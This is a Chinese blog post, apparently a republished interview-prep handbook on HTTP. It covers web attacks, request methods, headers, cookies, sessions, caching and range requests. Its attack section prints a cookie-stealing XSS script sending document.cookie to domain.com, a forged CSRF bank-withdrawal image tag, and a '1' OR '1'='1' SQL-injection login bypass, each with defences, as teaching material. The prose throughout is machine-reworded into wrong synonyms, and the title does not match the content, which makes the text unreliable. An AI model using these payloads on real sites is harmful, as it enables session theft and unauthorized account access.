首页 » PHP教程 » php返回206技巧_面试HTTP常识点复习手册下

php返回206技巧_面试HTTP常识点复习手册下

duote123 2024-12-04 0

扫一扫用手机浏览

文章目录 [+]

不定期推送关于后端开拓、爬虫、算法题、数据构造方面的原创技能文章,以及生活中的逸闻趣事。

我目前是一名后端开拓工程师。
紧张关注后端开拓,数据安全,网络爬虫,物联网,边缘打算等方向。

php返回206技巧_面试HTTP常识点复习手册下

原创博客紧张内容

php返回206技巧_面试HTTP常识点复习手册下
(图片来自网络侵删)
Java知识点复习全手册Leetcode算法题解析剑指offer算法题解析SpringCloud菜鸟入门实战系列SpringBoot菜鸟入门实战系列Python爬虫干系技能文章后端开拓干系技能文章

序言

本文快速回顾了常考的的知识点,用作口试复习,事半功倍。

口试知识点复习手册

全复习手册文章导航

Csdn全复习手册文章导航:

https://blog.csdn.net/qqxx6661/article/details/86775594

已发布知识点复习手册

Java根本知识点口试手册Java容器(List、Set、Map)知识点快速复习手册Java并发知识点快速复习手册(上)Java并发知识点快速复习手册(下)Java虚拟机知识点快速复习手册(上)Java虚拟机知识点快速复习手册(下)快速梳理23种常用的设计模式Redis根本知识点口试手册Leetcode题解分类汇总(前150题)口试常问的小算法总结查找算法总结及其部分算法实现Python/Java排序算法实现与总结Python/JavaHTTP应知应会知识点复习手册(上)……等(请查看全复习手册导航)本文参考

本文内容紧张参考来自CyC2018的Github仓库:CS-Notes

有删减,修正,补充额外增加内容

本作品采取知识共享署名-非商业性利用 4.0 国际容许协议进行容许。

--------------------正文-----------------------Web 攻击技能

跨站脚本攻击XSS

还可参考:https://blog.csdn.net/lpjishu/article/details/50917092

1. 观点

跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前浸染域的 Cookie。
如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

2. 危害

盗取用户的 Cookie 值假造虚假的输入表单骗取个人信息显示假造的文章或者图片

3. 戒备手段

(一)设置 Cookie 为 HttpOnly

设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,在一定程度上可以防止 XSS 盗取用户的 Cookie 信息。

(二)过滤分外字符

许多措辞都供应了对 HTML 的过滤:

PHP 的 htmlentities() 或是 htmlspecialchars()。
Python 的 cgi.escape()。
Java 的 xssprotect (Open Source Library)。
Node.js 的 node-validator。

例如 htmlspecialchars() 可以将 < 转义为 <,将 > 转义为 >,从而避免 HTML 和 Javascript 代码的运行。

(三)富文本编辑器的处理

富文本编辑器许可用户输入 HTML 代码,就不能大略地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。

富文本编辑器常日采取 XSS filter 来戒备 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不许可有攻击性的 HTML 代码的输入。

以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

XSS 过滤在线测试

跨站要求假造CSRF

XSS 利用的是用户对指定网站的信赖,CSRF 利用的是网站对用户浏览器的信赖。

1. 观点

跨站要求假造(Cross-site request forgery,CSRF),是攻击者通过一些技能手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并实行一些操作(如发邮件,发,乃至财产操作如转账和购买商品)。
由于浏览器曾经认证过,以是被访问的网站会认为是真正的用户操作而去实行。
这利用了 Web 中用户身份验证的一个漏洞:大略的身份验证只能担保要求发自某个用户的浏览器,却不能担保要求本身是用户志愿发出的。

如果一家银行用以实行转账操作的 URL 地址如下:

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。

那么,一个恶意攻击者可以在另一个网站上放置如下代码:

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。

如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会丢失 1000 资金。

这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。
此外,攻击者也不须要掌握放置恶意网址的网站。
例如他可以将这种地址藏在论坛,博客等任何用户天生内容的网站中。
这意味着如果做事器端没有得当的防御方法的话,用户纵然访问熟习的可信网站也有受攻击的危险。

透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户掌握权,也不能直接盗取用户的任何信息。
他们能做到的,是欺骗用户浏览器,让其以用户的名义实行操作。

2. 戒备手段

(一)检讨 Referer 字段

HTTP 头中有一个 Referer 字段,这个字段用于标明要求来源于哪个地址。
在处理敏感数据要求时,常日来说,Referer 字段应和要求的地址位于同一域名下,但并无法担保来访的浏览器的详细实现,亦无法担保浏览器没有安全漏洞影响到此字段。
并且也存在攻击者攻击某些浏览器,修改其 Referer 字段的可能。

(二)添加校验 Token

由于 CSRF 的实质在于攻击者欺骗用户去访问自己设置的地址,以是如果哀求在访问敏感数据要求时,哀求用户浏览器供应不保存在 Cookie 中,并且攻击者无法假造的数据作为校验,那么攻击者就无法再实行 CSRF 攻击。
这种数据常日是表单中的一个数据项。
做事器将其天生并附加在表单中,其内容是一个伪乱数。
当客户端通过表单提交要求时,这个伪乱数也一并提交上去以供校验。

正常的访问时,客户端浏览器能够精确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,做事器端就会由于校验 Token 的值为空或者缺点,谢绝这个可疑要求。

(三)哀求用户输入验证码来进行校验。

SQL 注入攻击

1. 观点

做事器上的数据库运行造孽的 SQL 语句,紧张通过拼接来完成。

2. 攻击事理

例如一个网站登录验证的 SQL 查询代码为:

strSQL = "SELECT FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容:

userName = "1' OR '1'='1";passWord = "1' OR '1'='1";

那么 SQL 查询字符串为:

strSQL = "SELECT FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此时无需验证通过就能实行以下查询:

strSQL = "SELECT FROM users;"

3. 戒备手段

(一)利用参数化查询(不进行拼接)

以下以 Java 中的 PreparedStatement 为例,它是预先编译的 SQL 语句,可以传入适当参数并且多次实行。
由于没有拼接的过程,因此可以防止 SQL 注入的发生。

PreparedStatement stmt = connection.prepareStatement("SELECT FROM users WHERE userid=? AND password=?");stmt.setString(1, userid);stmt.setString(2, password);ResultSet rs = stmt.executeQuery();

(二)单引号转换

将传入的参数中的单引号转换为连续两个单引号

(三)检讨变量数据类型和格式

谢绝做事攻击

谢绝做事攻击(denial-of-service attack,DoS),亦称大水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使做事暂时中断或停滞,导致其正常用户无法访问。

分布式谢绝做事攻击(distributed denial-of-service attack,DDoS),指攻击者利用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“谢绝做事”式攻击。

维基百科:谢绝做事攻击

根本观点

URI

URI 包含 URL 和 URN。

URI(Uniform Resource Identifier,统一资源标识符)URL(Uniform Resource Locator,统一资源定位符)URN(Uniform Resource Name,统一资源名称)

在这里插入图片描述

HTTP要求报文和HTTP相应报文

HTTP要求报文

一个HTTP要求报文由要求行(request line)、要求头部(header)、空行和要求数据4个部分组成,下图给出了要求报文的一样平常格式。

<request-line> 要求行<headers> 要求头<blank line> 空格<request-body> 要求数据

在这里插入图片描述

HTTP相应报文

HTTP相应也由三个部分组成,分别是:状态行、报头、相应正文。

<status-line><headers><blank line><response-body>

在这里插入图片描述

GET

获取资源

当前网络要求中,绝大部分利用的是 GET 方法。

HEAD

获取报文首部

和 GET 方法一样,但是不返回报文实体主体部分。

紧张用于确认 URL 的有效性以及资源更新的日期韶光等。

POST

传输实体主体

POST 紧张用来传输数据,而 GET 紧张用来获取资源。

更多 POST 与 GET 的比较请见第八章。

PUT

上传文件

由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一样平常不该用该方法

PATCH

对资源进行部分修正

PUT 也可以用于修正资源,但是只能完备替代原始资源,PATCH 许可部分修正。

DELETE

删除文件

与 PUT 功能相反,并且同样不带验证机制。

DELETE /file.html HTTP/1.1

OPTIONS

查询支持的方法

查询指定的 URL 能够支持的方法。

会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。

CONNECT

哀求用隧道协议连接代理

哀求在与代理做事器通信时建立隧道,利用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。

在这里插入图片描述

TRACE

追踪路径

做事器会将通信路径返回给客户端。

发送要求时,在 Max-Forwards 首部字段中填入数值,每经由一个做事器就会减 1,当数值为 0 时就停滞传输。

常日不会利用 TRACE,并且它随意马虎受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去利用它。

HTTP Header

有 4 种类型的首部字段:通用首部字段、要求首部字段、相应首部字段和实体首部字段。

各种首部字段及其含义如下(不须要全记,仅供查阅):

通用首部字段

首部字段名 解释 Cache-Control 掌握缓存的行为 Connection 掌握不再转发给代理的首部字段、管理持久连接 Date 创建报文的日期韶光 Pragma 报文指令 Trailer 报文末端的首部一览 Transfer-Encoding 指定报文主体的传输编码办法 Upgrade 升级为其他协议 Via 代理做事器的干系信息 Warning 缺点关照

要求首部字段

首部字段名 解释 Accept 用户代理可处理的媒体类型 Accept-Charset 优先的字符集 Accept-Encoding 优先的内容编码 Accept-Language 优先的措辞(自然措辞) Authorization Web 认证信息 Expect 期待做事器的特定行为 From 用户的电子邮箱地址 Host 要求资源所在做事器 If-Match 比较实体标记(ETag) If-Modified-Since 比较资源的更新韶光 If-None-Match 比较实体标记(与 If-Match 相反) If-Range 资源未更新时发送实体 Byte 的范围要求 If-Unmodified-Since 比较资源的更新韶光(与 If-Modified-Since 相反) Max-Forwards 最大传输逐跳数 Proxy-Authorization 代理做事器哀求客户真个认证信息 Range 实体的字节范围要求 Referer 对要求中 URI 的原始获取方 TE 传输编码的优先级 User-Agent HTTP 客户端程序的信息

相应首部字段

首部字段名 解释 Accept-Ranges 是否接管字节范围要求 Age 推算资源创建经由韶光 ETag 资源的匹配信息 Location 令客户端重定向至指定 URI Proxy-Authenticate 代理做事器对客户真个认证信息 Retry-After 对再次发起要求的机遇哀求 Server HTTP 做事器的安装信息 Vary 代理做事器缓存的管理信息 WWW-Authenticate 做事器对客户真个认证信息

实体首部字段

首部字段名 解释 Allow 资源可支持的 HTTP 方法 Content-Encoding 实体主体适用的编码办法 Content-Language 实体主体的自然措辞 Content-Length 实体主体的大小 Content-Location 替代对应资源的 URI Content-MD5 实体主体的报文择要 Content-Range 实体主体的位置范围 Content-Type 实体主体的媒体类型 Expires 实体主体过期的日期韶光 Last-Modified 资源的末了修正日期韶光

详细运用

Cookie

HTTP/1.1 引入 Cookie 来保存状态信息。

1. 用场

会话状态管理(如用户登录状态、购物车、游戏分数或其它须要记录的信息)个性化设置(如用户自定义设置、主题等)浏览器行为跟踪(如跟踪剖析用户行为等)

由于做事器指定 Cookie 后,浏览器的每次要求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。

新的浏览器 API 已经许可开拓者直接将数据存储到本地,如利用 Web storage API (本地存储和会话存储)或 IndexedDB。

2. 创建过程

HTTP/1.0 200 OKContent-type: text/htmlSet-Cookie: yummy_cookie=chocoSet-Cookie: tasty_cookie=strawberry[page content]

客户端之后对同一个做事器发送要求时,会从浏览器中取出 Cookie 信息并通过 Cookie 要求首部字段发送给做事器。

GET /sample_page.html HTTP/1.1Host: www.example.orgCookie: yummy_cookie=choco; tasty_cookie=strawberry

3. 分类

会话期 Cookie:浏览器关闭之后它会被自动删除,也便是说它仅在会话期内有效。
持久性 Cookie:指定一个特定的过期韶光(Expires)或有效期(Max-Age)之后就成为了持久性的 Cookie。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

4. 浸染域

Domain 标识指定了哪些主机可以接管 Cookie。
如果不指定,默认为当前文档的主机(不包含子域名)。
如果指定了 Domain,则一样平常包含子域名。
例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。

Path 标识指定了主机下的哪些路径可以接管 Cookie(该 URL 路径必须存在于要求 URL 中)。
以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。
例如,设置 Path=/docs,则以下地址都会匹配:

/docs/docs/Web//docs/Web/HTTP

5. JavaScript

通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。

document.cookie = "yummy_cookie=choco";document.cookie = "tasty_cookie=strawberry";console.log(document.cookie);

6. Secure 和 HttpOnly

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的要求发送给做事端。
但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,由于 Cookie 有其固有的不屈安性,Secure 标记也无法供应确实的安全保障。
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。
由于跨域脚本 (XSS) 攻击常常利用 JavaScript 的 Document.cookie API 盗取用户的 Cookie 信息,因此利用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

7. Session和cookie选择

除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在做事器端,存储在做事器真个信息更加安全。

Session 可以存储在做事器上的文件、数据库或者内存中。
也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高。

利用 Session 掩护用户登录状态的过程如下:

用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 要求报文中;做事器验证该用户名和密码,如果精确则把用户信息存储到 Redis 中,它在 Redis 中的 Key 称为 Session ID;做事器返回的相应报文的 Set-Cookie 首部字段包含了这个 Session ID,客户端收到相应报文之后将该 Cookie 值存入浏览器中;客户端之后对同一个做事器进行要求时会包含该 Cookie 值,做事器收到之后提取出 Session ID,从 Redis 中取出用户信息,连续之前的业务操作。

该当把稳 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个随意马虎被猜到的 Session ID 值。
此外,还须要常常重新天生 Session ID。
在对安全性哀求极高的场景下,例如转账等操作,除了利用 Session 管理用户状态之外,还须要对用户进行重新验证,比如重新输入密码,或者利用短信验证码等办法。

从存储办法上比较 Cookie只能存储字符串,如果要存储非ASCII字符串还要对其编码。
Session可以存储任何类型的数据,可以把Session算作是一个容器从隐私安全上比较 Cookie存储在浏览器中,对客户端是可见的。
信息随意马虎透露出去。
如果利用Cookie,最好将Cookie加密 Session存储在做事器上,对客户端是透明的。
不存在敏感信息透露问题。
从有效期上比较 Cookie保存在硬盘中,只须要设置maxAge属性为比较大的正整数,纵然关闭浏览器,Cookie还是存在的 Session的保存在做事器中,设置maxInactiveInterval属性值来确定Session的有效期。
并且Session依赖于名为JSESSIONID的Cookie,该Cookie默认的maxAge属性为-1。
如果关闭了浏览器,该Session虽然没有从做事器中消亡,但也就失落效了。
从对做事器的包袱比较 Session是保存在做事器的,每个用户都会产生一个Session,如果是并发访问的用户非常多,是不能利用Session的,Session会花费大量的内存。
Cookie是保存在客户真个。
不占用做事器的资源。
像baidu、Sina这样的大型网站,一样平常都是利用Cookie来进行会话跟踪。
从浏览器的支持上比较 如果浏览器禁用了Cookie,那么Cookie是无用的了!
如果浏览器禁用了Cookie,Session可以通过URL地址重写来进行会话跟踪。
从跨域名上比较 Cookie可以设置domain属性来实现跨域名 Session只在当前的域名内有效,不可夸域名

缓存

1. 优点

缓解做事器压力;减低客户端获取资源的延迟(缓存资源比做事器上的资源离客户端更近)。

2. 实现方法

让代理做事器进行缓存;让客户端浏览器进行缓存。

3. Cache-Control

HTTP/1.1 通过 Cache-Control 首部字段来掌握缓存。

(一)禁止进行缓存

no-store 指令规定不能对要求或相应的任何一部分进行缓存。

Cache-Control: no-store

(二)逼迫确认缓存

no-cache 指令规定缓存做事器须要先向源做事器验证缓存资源的有效性,只有当缓存资源有效才将能利用该缓存对客户真个要求进行相应。

Cache-Control: no-cache

(三)私有缓存和公共缓存

private 指令规定了将资源作为私有缓存,只能被单独用户所利用,一样平常存储在用户浏览器中。

Cache-Control: private

public 指令规定了将资源作为公共缓存,可以被多个用户所利用,一样平常存储在代理做事器中。

Cache-Control: public

(四)缓存过期机制

max-age 指令涌如今要求报文中,并且缓存资源的缓存韶光小于该指令指定的韶光,那么就能接管该缓存。

max-age 指令涌如今相应报文中,表示缓存资源在缓存做事器中保存的韶光。

Cache-Control: max-age=31536000

Expires 字段也可以用于奉告缓存做事器该资源什么时候会过期。
在 HTTP/1.1 中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令会被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT

4. 缓存验证

须要先理解 ETag 首部字段的含义,它是资源的唯一表示。
URL 不能唯一表示资源,例如 http://www.google.com/ 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一表示。

ETag: "82e22293907ce725faf67773957acd12"

可以将缓存资源的 ETag 值放入 If-None-Match 首部,做事器收到该要求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否同等,如果同等则表示缓存资源有效,返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"

Last-Modified 首部字段也可以用于缓存验证,它包含在源做事器发送的相应报文中,指示源做事器对资源的末了修正韶光。
但是它是一种弱校验器,由于只能精确到一秒,以是它常日作为 ETag 的备用方案。
如果相应首部字段里含有这个信息,客户端可以在后续的要求中带上 If-Modified-Since 来验证缓存。
做事器只在所要求的资源在给定的日期韶光之后对内容进行过修正的情形下才会将资源返回,状态码为 200 OK。
如果要求的资源从那时起未经修正,那么返回一个不带有主体的 304 Not Modified 相应,

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT

If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

连接管理

[图片上传失落败…(image-3cf4fc-1550224161268)]

1. 短连接与长连接

HTTP/1.1 开始默认是长连接的,如果要断开连接,须要由客户端或者做事器端提出断开,利用 Connection : close;HTTP/1.1 之前默认是短连接的,如果须要长连接,则利用 Connection : Keep-Alive。

2. 流水线

默认情形下,HTTP 要求是按顺序发出的,下一个要求只有在当前要求收到应答过后才会被发出。
由于会受到网络延迟和带宽的限定,不才一个要求被发送到做事器之前,可能须要等待很永劫光。

流水线是在同一条长连接上发出连续的要求,而不用等待相应返回,这样可以避免连接延迟。

内容协商

通过内容协商返回最得当的内容,例如根据浏览器的默认措辞选择返回中文界面还是英文界面。

1. 类型

1.1 做事端驱动型

客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,做事器根据这些字段返回特定的资源。

它存在以下问题:

做事器很难知道客户端浏览器的全部信息;客户端供应的信息相称冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技能);给定的资源须要返回不同的展现形式,共享缓存的效率会降落,而做事器真个实现会越来越繁芜。

1.2 代理驱动型

做事器返回 300 Multiple Choices 或者 406 Not Acceptable,客户端从中选出最得当的那个资源。

2. Vary

Vary: Accept-Language

在利用内容协商的情形下,只有当缓存做事器中的缓存知足内容协商条件时,才能利用该缓存,否则该当向源做事器要求该资源。

例如,一个客户端发送了一个包含 Accept-Language 首部字段的要求之后,源做事器返回的相应包含 Vary: Accept-Language 内容,缓存做事器对这个相应进行缓存之后,在客户端下一次访问同一个 URL 资源,并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。

内容编码

内容编码将实体主体进行压缩,从而减少传输的数据量。
常用的内容编码有:gzip、compress、deflate、identity。

浏览器发送 Accept-Encoding 首部,个中包含有它所支持的压缩算法,以及各自的优先级,做事器则从中选择一种,利用该算法对相应的主体进行压缩,并且发送 Content-Encoding 首部来奉告浏览器它选择了哪一种算法。
由于该内容协商过程是基于编码类型来选择资源的展现形式的,在相应中,Vary 首部中至少要包含 Content-Encoding,这样的话,缓存做事器就可以对资源的不同展现形式进行缓存。

范围要求

如果网络涌现中断,做事器只发送了一部分数据,范围要求可以使得客户端只要求做事器未发送的那部分数据,从而避免做事看重新发送所有数据。

1. Range

在要求报文中添加 Range 首部字段指定要求的范围。

GET /z4d4kWk.jpg HTTP/1.1Host: i.imgur.comRange: bytes=0-1023

要求成功的话做事器返回的相应包含 206 Partial Content 状态码。

2. Accept-Ranges

相应首部字段 Accept-Ranges 用于奉告客户端是否能处理范围要求,可以处理利用 bytes,否则利用 none。

Accept-Ranges: bytes

3. 相应状态码

在要求成功的情形下,做事器会返回 206 Partial Content 状态码。
在要求的范围越界的情形下,做事器会返回 416 Requested Range Not Satisfiable 状态码。
在不支持范围要求的情形下,做事器会返回 200 OK 状态码。

分块传输编码

Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。

多部分工具凑集

一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。

例如,上传多个表单时可以利用如下办法:

Content-Type: multipart/form-data; boundary=AaB03x--AaB03xContent-Disposition: form-data; name="submit-name"Larry--AaB03xContent-Disposition: form-data; name="files"; filename="file1.txt"Content-Type: text/plain... contents of file1.txt ...--AaB03x--

虚拟主机

HTTP/1.1 利用虚拟主机技能,使得一台做事器拥有多个域名,并且在逻辑上可以算作多个做事器。

通信数据转发

1. 代理

代理做事器接管客户真个要求,并且转发给其它做事器。

利用代理的紧张目的是:

缓存负载均衡网络访问掌握访问日志记录

代理做事器分为正向代理和反向代理两种:

用户察以为到正向代理的存在。
而反向代理一样平常位于内部网络中,用户察觉不到。

2. 网关

与代理做事器不同的是,网关做事器会将 HTTP 转化为其它协议进行通信,从而要求其它非 HTTP 做事器的做事。

3. 隧道

利用 SSL 等加密手段,为客户端和做事器之间建立一条安全的通信线路。

--------------------正文完-----------------------关注我

我是一名后端开拓工程师。
紧张关注后端开拓,数据安全,网络爬虫,物联网,边缘打算等方向,欢迎互换。

各大平台都可以找到我

Github:@qqxx6661CSDN:@Rude3Knife知乎:@Zhendong简书:@蛮三刀把刀掘金:@蛮三刀把刀

原创博客紧张内容

Java知识点复习全手册Leetcode算法题解析剑指offer算法题解析SpringBoot菜鸟入门实战系列SpringCloud菜鸟入门实战系列爬虫干系技能文章后端开拓干系技能文章逸闻趣事/好书分享/个人兴趣

个人"大众年夜众号:后端技能漫谈

如果文章对你有帮助,不妨收藏起来并转发给您的朋友们~

标签:

相关文章

介绍白点控制之路,从原理到方法

白点,作为生活中常见的现象,无处不在。对于如何控制白点,许多人却感到困惑。本文将从原理出发,探讨白点的控制方法,并结合实际案例,为...

PHP教程 2025-01-03 阅读1 评论0

介绍直播王者,如何开启你的电竞直播之旅

随着电竞产业的蓬勃发展,越来越多的年轻人投身于电竞直播行业。王者荣耀作为一款备受欢迎的MOBA手游,吸引了大量玩家和观众。如何开启...

PHP教程 2025-01-03 阅读1 评论0